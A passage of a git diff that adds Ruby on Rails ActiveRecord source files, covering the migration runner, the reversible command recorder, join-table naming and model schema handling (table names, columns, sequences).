+ ActiveRecord::Migration.check_pending!
+ end
+ @app.call(env)
+ end
+ end
+
+ class << self
+ attr_accessor :delegate # :nodoc:
+ attr_accessor :disable_ddl_transaction # :nodoc:
+ end
+
+ def self.check_pending!
+ raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?
+ end
+
+ def self.method_missing(name, *args, &block) # :nodoc:
+ (delegate || superclass.delegate).send(name, *args, &block)
+ end
+
+ def self.migrate(direction)
+ new.migrate direction
+ end
+
+ # Disable DDL transactions for this migration.
+ def self.disable_ddl_transaction!
+ @disable_ddl_transaction = true
+ end
+
+ def disable_ddl_transaction # :nodoc:
+ self.class.disable_ddl_transaction
+ end
+
+ cattr_accessor :verbose
+ attr_accessor :name, :version
+
+ def initialize(name = self.class.name, version = nil)
+ @name = name
+ @version = version
+ @connection = nil
+ end
+
+ self.verbose = true
+ # instantiate the delegate object after initialize is defined
+ self.delegate = new
+
+ # Reverses the migration commands for the given block and
+ # the given migrations.
+ #
+ # The following migration will remove the table 'horses'
+ # and create the table 'apples' on the way up, and the reverse
+ # on the way down.
+ #
+ # class FixTLMigration < ActiveRecord::Migration
+ # def change
+ # revert do
+ # create_table(:horses) do |t|
+ # t.text :content
+ # t.datetime :remind_at
+ # end
+ # end
+ # create_table(:apples) do |t|
+ # t.string :variety
+ # end
+ # end
+ # end
+ #
+ # Or equivalently, if +TenderloveMigration+ is defined as in the
+ # documentation for Migration:
+ #
+ # require_relative '2012121212_tenderlove_migration'
+ #
+ # class FixupTLMigration < ActiveRecord::Migration
+ # def change
+ # revert TenderloveMigration
+ #
+ # create_table(:apples) do |t|
+ # t.string :variety
+ # end
+ # end
+ # end
+ #
+ # This command can be nested.
+ def revert(*migration_classes)
+ run(*migration_classes.reverse, revert: true) unless migration_classes.empty?
+ if block_given?
+ if @connection.respond_to? :revert
+ @connection.revert { yield }
+ else
+ recorder = CommandRecorder.new(@connection)
+ @connection = recorder
+ suppress_messages do
+ @connection.revert { yield }
+ end
+ @connection = recorder.delegate
+ recorder.commands.each do |cmd, args, block|
+ send(cmd, *args, &block)
+ end
+ end
+ end
+ end
+
+ def reverting?
+ @connection.respond_to?(:reverting) && @connection.reverting
+ end
+
+ class ReversibleBlockHelper < Struct.new(:reverting) # :nodoc:
+ def up
+ yield unless reverting
+ end
+
+ def down
+ yield if reverting
+ end
+ end
+
+ # Used to specify an operation that can be run in one direction or another.
+ # Call the methods +up+ and +down+ of the yielded object to run a block
+ # only in one given direction.
+ # The whole block will be called in the right order within the migration.
+ #
+ # In the following example, the looping on users will always be done
+ # when the three columns 'first_name', 'last_name' and 'full_name' exist,
+ # even when migrating down:
+ #
+ # class SplitNameMigration < ActiveRecord::Migration
+ # def change
+ # add_column :users, :first_name, :string
+ # add_column :users, :last_name, :string
+ #
+ # reversible do |dir|
+ # User.reset_column_information
+ # User.all.each do |u|
+ # dir.up { u.first_name, u.last_name = u.full_name.split(' ') }
+ # dir.down { u.full_name = "#{u.first_name} #{u.last_name}" }
+ # u.save
+ # end
+ # end
+ #
+ # revert { add_column :users, :full_name, :string }
+ # end
+ # end
+ def reversible
+ helper = ReversibleBlockHelper.new(reverting?)
+ execute_block{ yield helper }
+ end
+
+ # Runs the given migration classes.
+ # Last argument can specify options:
+ # - :direction (default is :up)
+ # - :revert (default is false)
+ def run(*migration_classes)
+ opts = migration_classes.extract_options!
+ dir = opts[:direction] || :up
+ dir = (dir == :down ? :up : :down) if opts[:revert]
+ if reverting?
+ # If in revert and going :up, say, we want to execute :down without reverting, so
+ revert { run(*migration_classes, direction: dir, revert: true) }
+ else
+ migration_classes.each do |migration_class|
+ migration_class.new.exec_migration(@connection, dir)
+ end
+ end
+ end
+
+ def up
+ self.class.delegate = self
+ return unless self.class.respond_to?(:up)
+ self.class.up
+ end
+
+ def down
+ self.class.delegate = self
+ return unless self.class.respond_to?(:down)
+ self.class.down
+ end
+
+ # Execute this migration in the named direction
+ def migrate(direction)
+ return unless respond_to?(direction)
+
+ case direction
+ when :up then announce "migrating"
+ when :down then announce "reverting"
+ end
+
+ time = nil
+ ActiveRecord::Base.connection_pool.with_connection do |conn|
+ time = Benchmark.measure do
+ exec_migration(conn, direction)
+ end
+ end
+
+ case direction
+ when :up then announce "migrated (%.4fs)" % time.real; write
+ when :down then announce "reverted (%.4fs)" % time.real; write
+ end
+ end
+
+ def exec_migration(conn, direction)
+ @connection = conn
+ if respond_to?(:change)
+ if direction == :down
+ revert { change }
+ else
+ change
+ end
+ else
+ send(direction)
+ end
+ ensure
+ @connection = nil
+ end
+
+ def write(text="")
+ puts(text) if verbose
+ end
+
+ def announce(message)
+ text = "#{version} #{name}: #{message}"
+ length = [0, 75 - text.length].max
+ write "== %s %s" % [text, "=" * length]
+ end
+
+ def say(message, subitem=false)
+ write "#{subitem ? " ->" : "--"} #{message}"
+ end
+
+ def say_with_time(message)
+ say(message)
+ result = nil
+ time = Benchmark.measure { result = yield }
+ say "%.4fs" % time.real, :subitem
+ say("#{result} rows", :subitem) if result.is_a?(Integer)
+ result
+ end
+
+ def suppress_messages
+ save, self.verbose = verbose, false
+ yield
+ ensure
+ self.verbose = save
+ end
+
+ def connection
+ @connection || ActiveRecord::Base.connection
+ end
+
+ def method_missing(method, *arguments, &block)
+ arg_list = arguments.map{ |a| a.inspect } * ', '
+
+ say_with_time "#{method}(#{arg_list})" do
+ unless @connection.respond_to? :revert
+ unless arguments.empty? || method == :execute
+ arguments[0] = Migrator.proper_table_name(arguments.first)
+ arguments[1] = Migrator.proper_table_name(arguments.second) if method == :rename_table
+ end
+ end
+ return super unless connection.respond_to?(method)
+ connection.send(method, *arguments, &block)
+ end
+ end
+
+ def copy(destination, sources, options = {})
+ copied = []
+
+ FileUtils.mkdir_p(destination) unless File.exists?(destination)
+
+ destination_migrations = ActiveRecord::Migrator.migrations(destination)
+ last = destination_migrations.last
+ sources.each do |scope, path|
+ source_migrations = ActiveRecord::Migrator.migrations(path)
+
+ source_migrations.each do |migration|
+ source = File.binread(migration.filename)
+ inserted_comment = "# This migration comes from #{scope} (originally #{migration.version})\n"
+ if /\A#.*\b(?:en)?coding:\s*\S+/ =~ source
+ # If we have a magic comment in the original migration,
+ # insert our comment after the first newline(end of the magic comment line)
+ # so the magic keep working.
+ # Note that magic comments must be at the first line(except sh-bang).
+ source[/\n/] = "\n#{inserted_comment}"
+ else
+ source = "#{inserted_comment}#{source}"
+ end
+
+ if duplicate = destination_migrations.detect { |m| m.name == migration.name }
+ if options[:on_skip] && duplicate.scope != scope.to_s
+ options[:on_skip].call(scope, migration)
+ end
+ next
+ end
+
+ migration.version = next_migration_number(last ? last.version + 1 : 0).to_i
+ new_path = File.join(destination, "#{migration.version}_#{migration.name.underscore}.#{scope}.rb")
+ old_path, migration.filename = migration.filename, new_path
+ last = migration
+
+ File.binwrite(migration.filename, source)
+ copied << migration
+ options[:on_copy].call(scope, migration, old_path) if options[:on_copy]
+ destination_migrations << migration
+ end
+ end
+
+ copied
+ end
+
+ def next_migration_number(number)
+ if ActiveRecord::Base.timestamped_migrations
+ [Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % number].max
+ else
+ "%.3d" % number
+ end
+ end
+
+ private
+ def execute_block
+ if connection.respond_to? :execute_block
+ super # use normal delegation to record the block
+ else
+ yield
+ end
+ end
+ end
+
+ # MigrationProxy is used to defer loading of the actual migration classes
+ # until they are needed
+ class MigrationProxy < Struct.new(:name, :version, :filename, :scope)
+
+ def initialize(name, version, filename, scope)
+ super
+ @migration = nil
+ end
+
+ def basename
+ File.basename(filename)
+ end
+
+ delegate :migrate, :announce, :write, :disable_ddl_transaction, to: :migration
+
+ private
+
+ def migration
+ @migration ||= load_migration
+ end
+
+ def load_migration
+ require(File.expand_path(filename))
+ name.constantize.new
+ end
+
+ end
+
+ class Migrator#:nodoc:
+ class << self
+ attr_writer :migrations_paths
+ alias :migrations_path= :migrations_paths=
+
+ def migrate(migrations_paths, target_version = nil, &block)
+ case
+ when target_version.nil?
+ up(migrations_paths, target_version, &block)
+ when current_version == 0 && target_version == 0
+ []
+ when current_version > target_version
+ down(migrations_paths, target_version, &block)
+ else
+ up(migrations_paths, target_version, &block)
+ end
+ end
+
+ def rollback(migrations_paths, steps=1)
+ move(:down, migrations_paths, steps)
+ end
+
+ def forward(migrations_paths, steps=1)
+ move(:up, migrations_paths, steps)
+ end
+
+ def up(migrations_paths, target_version = nil)
+ migrations = migrations(migrations_paths)
+ migrations.select! { |m| yield m } if block_given?
+
+ self.new(:up, migrations, target_version).migrate
+ end
+
+ def down(migrations_paths, target_version = nil, &block)
+ migrations = migrations(migrations_paths)
+ migrations.select! { |m| yield m } if block_given?
+
+ self.new(:down, migrations, target_version).migrate
+ end
+
+ def run(direction, migrations_paths, target_version)
+ self.new(direction, migrations(migrations_paths), target_version).run
+ end
+
+ def open(migrations_paths)
+ self.new(:up, migrations(migrations_paths), nil)
+ end
+
+ def schema_migrations_table_name
+ SchemaMigration.table_name
+ end
+
+ def get_all_versions
+ SchemaMigration.all.map { |x| x.version.to_i }.sort
+ end
+
+ def current_version
+ sm_table = schema_migrations_table_name
+ if Base.connection.table_exists?(sm_table)
+ get_all_versions.max || 0
+ else
+ 0
+ end
+ end
+
+ def needs_migration?
+ current_version < last_version
+ end
+
+ def last_version
+ migrations(migrations_paths).last.try(:version)||0
+ end
+
+ def proper_table_name(name)
+ # Use the Active Record objects own table_name, or pre/suffix from ActiveRecord::Base if name is a symbol/string
+ if name.respond_to? :table_name
+ name.table_name
+ else
+ "#{ActiveRecord::Base.table_name_prefix}#{name}#{ActiveRecord::Base.table_name_suffix}"
+ end
+ end
+
+ def migrations_paths
+ @migrations_paths ||= ['db/migrate']
+ # just to not break things if someone uses: migration_path = some_string
+ Array(@migrations_paths)
+ end
+
+ def migrations_path
+ migrations_paths.first
+ end
+
+ def migrations(paths)
+ paths = Array(paths)
+
+ files = Dir[*paths.map { |p| "#{p}/**/[0-9]*_*.rb" }]
+
+ migrations = files.map do |file|
+ version, name, scope = file.scan(/([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?\.rb\z/).first
+
+ raise IllegalMigrationNameError.new(file) unless version
+ version = version.to_i
+ name = name.camelize
+
+ MigrationProxy.new(name, version, file, scope)
+ end
+
+ migrations.sort_by(&:version)
+ end
+
+ private
+
+ def move(direction, migrations_paths, steps)
+ migrator = self.new(direction, migrations(migrations_paths))
+ start_index = migrator.migrations.index(migrator.current_migration)
+
+ if start_index
+ finish = migrator.migrations[start_index + steps]
+ version = finish ? finish.version : 0
+ send(direction, migrations_paths, version)
+ end
+ end
+ end
+
+ def initialize(direction, migrations, target_version = nil)
+ raise StandardError.new("This database does not yet support migrations") unless Base.connection.supports_migrations?
+
+ @direction = direction
+ @target_version = target_version
+ @migrated_versions = nil
+
+ if Array(migrations).grep(String).empty?
+ @migrations = migrations
+ else
+ ActiveSupport::Deprecation.warn "instantiate this class with a list of migrations"
+ @migrations = self.class.migrations(migrations)
+ end
+
+ validate(@migrations)
+
+ ActiveRecord::SchemaMigration.create_table
+ end
+
+ def current_version
+ migrated.max || 0
+ end
+
+ def current_migration
+ migrations.detect { |m| m.version == current_version }
+ end
+ alias :current :current_migration
+
+ def run
+ migration = migrations.detect { |m| m.version == @target_version }
+ raise UnknownMigrationVersionError.new(@target_version) if migration.nil?
+ unless (up? && migrated.include?(migration.version.to_i)) || (down? && !migrated.include?(migration.version.to_i))
+ begin
+ execute_migration_in_transaction(migration, @direction)
+ rescue => e
+ canceled_msg = use_transaction?(migration) ? ", this migration was canceled" : ""
+ raise StandardError, "An error has occurred#{canceled_msg}:\n\n#{e}", e.backtrace
+ end
+ end
+ end
+
+ def migrate
+ if !target && @target_version && @target_version > 0
+ raise UnknownMigrationVersionError.new(@target_version)
+ end
+
+ running = runnable
+
+ if block_given?
+ message = "block argument to migrate is deprecated, please filter migrations before constructing the migrator"
+ ActiveSupport::Deprecation.warn message
+ running.select! { |m| yield m }
+ end
+
+ running.each do |migration|
+ Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger
+
+ begin
+ execute_migration_in_transaction(migration, @direction)
+ rescue => e
+ canceled_msg = use_transaction?(migration) ? "this and " : ""
+ raise StandardError, "An error has occurred, #{canceled_msg}all later migrations canceled:\n\n#{e}", e.backtrace
+ end
+ end
+ end
+
+ def runnable
+ runnable = migrations[start..finish]
+ if up?
+ runnable.reject { |m| ran?(m) }
+ else
+ # skip the last migration if we're headed down, but not ALL the way down
+ runnable.pop if target
+ runnable.find_all { |m| ran?(m) }
+ end
+ end
+
+ def migrations
+ down? ? @migrations.reverse : @migrations.sort_by(&:version)
+ end
+
+ def pending_migrations
+ already_migrated = migrated
+ migrations.reject { |m| already_migrated.include?(m.version) }
+ end
+
+ def migrated
+ @migrated_versions ||= Set.new(self.class.get_all_versions)
+ end
+
+ private
+ def ran?(migration)
+ migrated.include?(migration.version.to_i)
+ end
+
+ def execute_migration_in_transaction(migration, direction)
+ ddl_transaction(migration) do
+ migration.migrate(direction)
+ record_version_state_after_migrating(migration.version)
+ end
+ end
+
+ def target
+ migrations.detect { |m| m.version == @target_version }
+ end
+
+ def finish
+ migrations.index(target) || migrations.size - 1
+ end
+
+ def start
+ up? ? 0 : (migrations.index(current) || 0)
+ end
+
+ def validate(migrations)
+ name ,= migrations.group_by(&:name).find { |_,v| v.length > 1 }
+ raise DuplicateMigrationNameError.new(name) if name
+
+ version ,= migrations.group_by(&:version).find { |_,v| v.length > 1 }
+ raise DuplicateMigrationVersionError.new(version) if version
+ end
+
+ def record_version_state_after_migrating(version)
+ if down?
+ migrated.delete(version)
+ ActiveRecord::SchemaMigration.where(:version => version.to_s).delete_all
+ else
+ migrated << version
+ ActiveRecord::SchemaMigration.create!(:version => version.to_s)
+ end
+ end
+
+ def up?
+ @direction == :up
+ end
+
+ def down?
+ @direction == :down
+ end
+
+ # Wrap the migration in a transaction only if supported by the adapter.
+ def ddl_transaction(migration)
+ if use_transaction?(migration)
+ Base.transaction { yield }
+ else
+ yield
+ end
+ end
+
+ def use_transaction?(migration)
+ !migration.disable_ddl_transaction && Base.connection.supports_ddl_transactions?
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
new file mode 100644
index 0000000..79c5504
--- /dev/null
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -0,0 +1,164 @@
+module ActiveRecord
+ class Migration
+ # <tt>ActiveRecord::Migration::CommandRecorder</tt> records commands done during
+ # a migration and knows how to reverse those commands. The CommandRecorder
+ # knows how to invert the following commands:
+ #
+ # * add_column
+ # * add_index
+ # * add_timestamps
+ # * create_table
+ # * create_join_table
+ # * remove_timestamps
+ # * rename_column
+ # * rename_index
+ # * rename_table
+ class CommandRecorder
+ include JoinTable
+
+ attr_accessor :commands, :delegate, :reverting
+
+ def initialize(delegate = nil)
+ @commands = []
+ @delegate = delegate
+ @reverting = false
+ end
+
+ # While executing the given block, the recorded will be in reverting mode.
+ # All commands recorded will end up being recorded reverted
+ # and in reverse order.
+ # For example:
+ #
+ # recorder.revert{ recorder.record(:rename_table, [:old, :new]) }
+ # # same effect as recorder.record(:rename_table, [:new, :old])
+ def revert
+ @reverting = !@reverting
+ previous = @commands
+ @commands = []
+ yield
+ ensure
+ @commands = previous.concat(@commands.reverse)
+ @reverting = !@reverting
+ end
+
+ # record +command+. +command+ should be a method name and arguments.
+ # For example:
+ #
+ # recorder.record(:method_name, [:arg1, :arg2])
+ def record(*command, &block)
+ if @reverting
+ @commands << inverse_of(*command, &block)
+ else
+ @commands << (command << block)
+ end
+ end
+
+ # Returns the inverse of the given command. For example:
+ #
+ # recorder.inverse_of(:rename_table, [:old, :new])
+ # # => [:rename_table, [:new, :old]]
+ #
+ # This method will raise an +IrreversibleMigration+ exception if it cannot
+ # invert the +command+.
+ def inverse_of(command, args, &block)
+ method = :"invert_#{command}"
+ raise IrreversibleMigration unless respond_to?(method, true)
+ send(method, args, &block)
+ end
+
+ def respond_to?(*args) # :nodoc:
+ super || delegate.respond_to?(*args)
+ end
+
+ [:create_table, :create_join_table, :rename_table, :add_column, :remove_column,
+ :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
+ :change_column_default, :add_reference, :remove_reference, :transaction,
+ :drop_join_table, :drop_table, :execute_block,
+ :change_column, :execute, :remove_columns, # irreversible methods need to be here too
+ ].each do |method|
+ class_eval <<-EOV, __FILE__, __LINE__ + 1
+ def #{method}(*args, &block) # def create_table(*args, &block)
+ record(:"#{method}", args, &block) # record(:create_table, args, &block)
+ end # end
+ EOV
+ end
+ alias :add_belongs_to :add_reference
+ alias :remove_belongs_to :remove_reference
+
+ def change_table(table_name, options = {})
+ yield ConnectionAdapters::Table.new(table_name, self)
+ end
+
+ private
+
+ module StraightReversions
+ private
+ { transaction: :transaction,
+ execute_block: :execute_block,
+ create_table: :drop_table,
+ create_join_table: :drop_join_table,
+ add_column: :remove_column,
+ add_timestamps: :remove_timestamps,
+ add_reference: :remove_reference,
+ }.each do |cmd, inv|
+ [[inv, cmd], [cmd, inv]].uniq.each do |method, inverse|
+ class_eval <<-EOV, __FILE__, __LINE__ + 1
+ def invert_#{method}(args, &block) # def invert_create_table(args, &block)
+ [:#{inverse}, args, block] # [:drop_table, args, block]
+ end # end
+ EOV
+ end
+ end
+ end
+
+ include StraightReversions
+
+ def invert_drop_table(args, &block)
+ if args.size == 1 && block == nil
+ raise ActiveRecord::IrreversibleMigration, "To avoid mistakes, drop_table is only reversible if given options or a block (can be empty)."
+ end
+ super
+ end
+
+ def invert_rename_table(args)
+ [:rename_table, args.reverse]
+ end
+
+ def invert_remove_column(args)
+ raise ActiveRecord::IrreversibleMigration, "remove_column is only reversible if given a type." if args.size <= 2
+ super
+ end
+
+ def invert_rename_index(args)
+ [:rename_index, [args.first] + args.last(2).reverse]
+ end
+
+ def invert_rename_column(args)
+ [:rename_column, [args.first] + args.last(2).reverse]
+ end
+
+ def invert_add_index(args)
+ table, columns, options = *args
+ [:remove_index, [table, (options || {}).merge(column: columns)]]
+ end
+
+ def invert_remove_index(args)
+ table, options = *args
+ raise ActiveRecord::IrreversibleMigration, "remove_index is only reversible if given a :column option." unless options && options[:column]
+
+ options = options.dup
+ [:add_index, [table, options.delete(:column), options]]
+ end
+
+ alias :invert_add_belongs_to :invert_add_reference
+ alias :invert_remove_belongs_to :invert_remove_reference
+
+ # Forwards any missing method call to the \target.
+ def method_missing(method, *args, &block)
+ @delegate.send(method, *args, &block)
+ rescue NoMethodError => e
+ raise e, e.message.sub(/ for #<.*$/, " via proxy for #{@delegate}")
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/migration/join_table.rb b/activerecord/lib/active_record/migration/join_table.rb
new file mode 100644
index 0000000..ebf64cb
--- /dev/null
+++ b/activerecord/lib/active_record/migration/join_table.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+ class Migration
+ module JoinTable #:nodoc:
+ private
+
+ def find_join_table_name(table_1, table_2, options = {})
+ options.delete(:table_name) || join_table_name(table_1, table_2)
+ end
+
+ def join_table_name(table_1, table_2)
+ [table_1.to_s, table_2.to_s].sort.join("_").to_sym
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
new file mode 100644
index 0000000..ac2d2f2
--- /dev/null
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -0,0 +1,345 @@
+module ActiveRecord
+ module ModelSchema
+ extend ActiveSupport::Concern
+
+ included do
+ ##
+ # :singleton-method:
+ # Accessor for the prefix type that will be prepended to every primary key column name.
+ # The options are :table_name and :table_name_with_underscore. If the first is specified,
+ # the Product class will look for "productid" instead of "id" as the primary column. If the
+ # latter is specified, the Product class will look for "product_id" instead of "id". Remember
+ # that this is a global setting for all Active Records.
+ mattr_accessor :primary_key_prefix_type, instance_writer: false
+
+ ##
+ # :singleton-method:
+ # Accessor for the name of the prefix string to prepend to every table name. So if set
+ # to "basecamp_", all table names will be named like "basecamp_projects", "basecamp_people",
+ # etc. This is a convenient way of creating a namespace for tables in a shared database.
+ # By default, the prefix is the empty string.
+ #
+ # If you are organising your models within modules you can add a prefix to the models within
+ # a namespace by defining a singleton method in the parent module called table_name_prefix which
+ # returns your chosen prefix.
+ class_attribute :table_name_prefix, instance_writer: false
+ self.table_name_prefix = ""
+
+ ##
+ # :singleton-method:
+ # Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
+ # "people_basecamp"). By default, the suffix is the empty string.
+ class_attribute :table_name_suffix, instance_writer: false
+ self.table_name_suffix = ""
+
+ ##
+ # :singleton-method:
+ # Indicates whether table names should be the pluralized versions of the corresponding class names.
+ # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
+ # See table_name for the full rules on table/class naming. This is true, by default.
+ class_attribute :pluralize_table_names, instance_writer: false
+ self.pluralize_table_names = true
+
+ self.inheritance_column = 'type'
+ end
+
+ module ClassMethods
+ # Guesses the table name (in forced lower-case) based on the name of the class in the
+ # inheritance hierarchy descending directly from ActiveRecord::Base. So if the hierarchy
+ # looks like: Reply < Message < ActiveRecord::Base, then Message is used
+ # to guess the table name even when called on Reply. The rules used to do the guess
+ # are handled by the Inflector class in Active Support, which knows almost all common
+ # English inflections. You can add new inflections in config/initializers/inflections.rb.
+ #
+ # Nested classes are given table names prefixed by the singular form of
+ # the parent's table name. Enclosing modules are not considered.
+ #
+ # ==== Examples
+ #
+ # class Invoice < ActiveRecord::Base
+ # end
+ #
+ # file class table_name
+ # invoice.rb Invoice invoices
+ #
+ # class Invoice < ActiveRecord::Base
+ # class Lineitem < ActiveRecord::Base
+ # end
+ # end
+ #
+ # file class table_name
+ # invoice.rb Invoice::Lineitem invoice_lineitems
+ #
+ # module Invoice
+ # class Lineitem < ActiveRecord::Base
+ # end
+ # end
+ #
+ # file class table_name
+ # invoice/lineitem.rb Invoice::Lineitem lineitems
+ #
+ # Additionally, the class-level +table_name_prefix+ is prepended and the
+ # +table_name_suffix+ is appended. So if you have "myapp_" as a prefix,
+ # the table name guess for an Invoice class becomes "myapp_invoices".
+ # Invoice::Lineitem becomes "myapp_invoice_lineitems".
+ #
+ # You can also set your own table name explicitly:
+ #
+ # class Mouse < ActiveRecord::Base
+ # self.table_name = "mice"
+ # end
+ #
+ # Alternatively, you can override the table_name method to define your
+ # own computation. (Possibly using <tt>super</tt> to manipulate the default
+ # table name.) Example:
+ #
+ # class Post < ActiveRecord::Base
+ # def self.table_name
+ # "special_" + super
+ # end
+ # end
+ # Post.table_name # => "special_posts"
+ def table_name
+ reset_table_name unless defined?(@table_name)
+ @table_name
+ end
+
+ # Sets the table name explicitly. Example:
+ #
+ # class Project < ActiveRecord::Base
+ # self.table_name = "project"
+ # end
+ #
+ # You can also just define your own <tt>self.table_name</tt> method; see
+ # the documentation for ActiveRecord::Base#table_name.
+ def table_name=(value)
+ value = value && value.to_s
+
+ if defined?(@table_name)
+ return if value == @table_name
+ reset_column_information if connected?
+ end
+
+ @table_name = value
+ @quoted_table_name = nil
+ @arel_table = nil
+ @sequence_name = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
+ @relation = Relation.new(self, arel_table)
+ end
+
+ # Returns a quoted version of the table name, used to construct SQL statements.
+ def quoted_table_name
+ @quoted_table_name ||= connection.quote_table_name(table_name)
+ end
+
+ # Computes the table name, (re)sets it internally, and returns it.
+ def reset_table_name #:nodoc:
+ self.table_name = if abstract_class?
+ superclass == Base ? nil : superclass.table_name
+ elsif superclass.abstract_class?
+ superclass.table_name || compute_table_name
+ else
+ compute_table_name
+ end
+ end
+
+ def full_table_name_prefix #:nodoc:
+ (parents.detect{ |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
+ end
+
+ # Defines the name of the table column which will store the class name on single-table
+ # inheritance situations.
+ #
+ # The default inheritance column name is +type+, which means it's a
+ # reserved word inside Active Record. To be able to use single-table
+ # inheritance with another column name, or to use the column +type+ in
+ # your own model for something else, you can set +inheritance_column+:
+ #
+ # self.inheritance_column = 'zoink'
+ def inheritance_column
+ (@inheritance_column ||= nil) || superclass.inheritance_column
+ end
+
+ # Sets the value of inheritance_column
+ def inheritance_column=(value)
+ @inheritance_column = value.to_s
+ @explicit_inheritance_column = true
+ end
+
+ def sequence_name
+ if base_class == self
+ @sequence_name ||= reset_sequence_name
+ else
+ (@sequence_name ||= nil) || base_class.sequence_name
+ end
+ end
+
+ def reset_sequence_name #:nodoc:
+ @explicit_sequence_name = false
+ @sequence_name = connection.default_sequence_name(table_name, primary_key)
+ end
+
+ # Sets the name of the sequence to use when generating ids to the given
+ # value, or (if the value is nil or false) to the value returned by the
+ # given block. This is required for Oracle and is useful for any
+ # database which relies on sequences for primary key generation.
+ #
+ # If a sequence name is not explicitly set when using Oracle or Firebird,
+ # it will default to the commonly used pattern of: #{table_name}_seq
+ #
+ # If a sequence name is not explicitly set when using PostgreSQL, it
+ # will discover the sequence corresponding to your primary key for you.
+ #
+ # class Project < ActiveRecord::Base
+ # self.sequence_name = "projectseq" # default would have been "project_seq"
+ # end
+ def sequence_name=(value)
+ @sequence_name = value.to_s
+ @explicit_sequence_name = true
+ end
+
+ # Indicates whether the table associated with this class exists
+ def table_exists?
+ connection.schema_cache.table_exists?(table_name)
+ end
+
+ # Returns an array of column objects for the table associated with this class.
+ def columns
+ @columns ||= connection.schema_cache.columns(table_name).map do |col|
+ col = col.dup
+ col.primary = (col.name == primary_key)
+ col
+ end
+ end
+
+ # Returns a hash of column objects for the table associated with this class.
+ def columns_hash
+ @columns_hash ||= Hash[columns.map { |c| [c.name, c] }]
+ end
+
+ def column_types # :nodoc:
+ @column_types ||= decorate_columns(columns_hash.dup)
+ end
+
+ def decorate_columns(columns_hash) # :nodoc:
+ return if columns_hash.empty?
+
+ columns_hash.each do |name, col|
+ if serialized_attributes.key?(name)
+ columns_hash[name] = AttributeMethods::Serialization::Type.new(col)
+ end
+ if create_time_zone_conversion_attribute?(name, col)
+ columns_hash[name] = AttributeMethods::TimeZoneConversion::Type.new(col)
+ end
+ end
+
+ columns_hash
+ end
+
+ # Returns a hash where the keys are column names and the values are
+ # default values when instantiating the AR object for this table.
+ def column_defaults
+ @column_defaults ||= Hash[columns.map { |c| [c.name, c.default] }]
+ end
+
+ # Returns an array of column names as strings.
+ def column_names
+ @column_names ||= columns.map { |column| column.name }
+ end
+
+ # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
+ # and columns used for single table inheritance have been removed.
+ def content_columns
+ @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
+ end
+
+ # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
+ # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
+ # is available.
+ def column_methods_hash #:nodoc:
+ @dynamic_methods_hash ||= column_names.each_with_object(Hash.new(false)) do |attr, methods|
+ attr_name = attr.to_s
+ methods[attr.to_sym] = attr_name
+ methods["#{attr}=".to_sym] = attr_name
+ methods["#{attr}?".to_sym] = attr_name
+ methods["#{attr}_before_type_cast".to_sym] = attr_name
+ end
+ end
+
+ # Resets all the cached information about columns, which will cause them
+ # to be reloaded on the next request.
+ #
+ # The most common usage pattern for this method is probably in a migration,
+ # when just after creating a table you want to populate it with some default
+ # values, eg:
+ #
+ # class CreateJobLevels < ActiveRecord::Migration
+ # def up
+ # create_table :job_levels do |t|
+ # t.integer :id
+ # t.string :name
+ #
+ # t.timestamps
+ # end
+ #
+ # JobLevel.reset_column_information
+ # %w{assistant executive manager director}.each do |type|
+ # JobLevel.create(name: type)
+ # end
+ # end
+ #
+ # def down
+ # drop_table :job_levels
+ # end
+ # end
+ def reset_column_information
+ connection.clear_cache!
+ undefine_attribute_methods
+ connection.schema_cache.clear_table_cache!(table_name) if table_exists?
+
+ @arel_engine = nil
+ @column_defaults = nil
+ @column_names = nil
+ @columns = nil
+ @columns_hash = nil
+ @column_types = nil
+ @content_columns = nil
+ @dynamic_methods_hash = nil
+ @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
+ @relation = nil
+ end
+
+ # This is a hook for use by modules that need to do extra stuff to
+ # attributes when they are initialized. (e.g. attribute
+ # serialization)
+ def initialize_attributes(attributes, options = {}) #:nodoc:
+ attributes
+ end
+
+ private
+
+ # Guesses the table name, but does not decorate it with prefix and suffix information.
+ def undecorated_table_name(class_name = base_class.name)
+ table_name = class_name.to_s.demodulize.underscore
+ pluralize_table_names ? table_name.pluralize : table_name
+ end
+
+ # Computes and returns a table name according to default conventions.
+ def compute_table_name
+ base = base_class
+ if self == base
+ # Nested classes are prefixed with singular parent table name.
+ if parent < Base && !parent.abstract_class?
+ contained = parent.table_name
+ contained = contained.singularize if parent.pluralize_table_names
+ contained += '_'
+ end
+ "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{table_name_suffix}"
+ else
+ # STI subclasses always use their superclass' table.
+ base.table_name
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
new file mode 100644
index 0000000..d607f49
--- /dev/null
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -0,0 +1,521 @@
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/object/try'
+require 'active_support/core_ext/hash/indifferent_access'
+
+module ActiveRecord
+ module NestedAttributes #:nodoc:
+ class TooManyRecords < ActiveRecordError
+ end
+
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :nested_attributes_options, instance_writer: false
+ self.nested_attributes_options = {}
+ end
+
